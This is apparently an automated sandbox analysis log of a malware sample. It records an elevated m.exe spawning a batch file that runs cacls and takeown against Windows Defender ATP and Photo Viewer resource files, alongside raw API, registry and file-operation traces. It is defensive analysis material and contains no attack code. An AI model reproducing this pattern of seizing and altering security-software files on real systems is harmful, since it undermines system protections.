Enabled Privileges	SeChangeNotifyPrivilege, SeCreateGlobalPrivilege
Thread IDs	0x DAC 0x 4BC 0x 504 0x 1200 0x FB4 0x C38 0x 910 0x AEC

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
dllhost.exe	0x7FF6FB010000	0x7FF6FB018FFF	Process Termination	-	64-bit	-			... Region Actions Download Dump

Process #114: cmd.exe

300

0

»

Information	Value
ID	#114
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Defender Advanced Threat Protection\en-US\MsSense.exe.mui""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:44, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:01:41

OS Process Information

»

Information	Value
PID	0xeb4
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x F84 0x D0C

Threads

Thread 0xf84

300

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 160, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 104	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x1100, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 89	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0x1340, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 22	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "MsSense.exe.mui"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "MsSense.exe.mui"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 60	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Process	Create	process_name = cmd.exe	1	Fn

Process #116: cmd.exe

300

0

»

Information	Value
ID	#116
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:49, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:01:36

OS Process Information

»

Information	Value
PID	0x1124
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 11A4 0x 1054

Threads

Thread 0x11a4

300

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 0, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 82	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
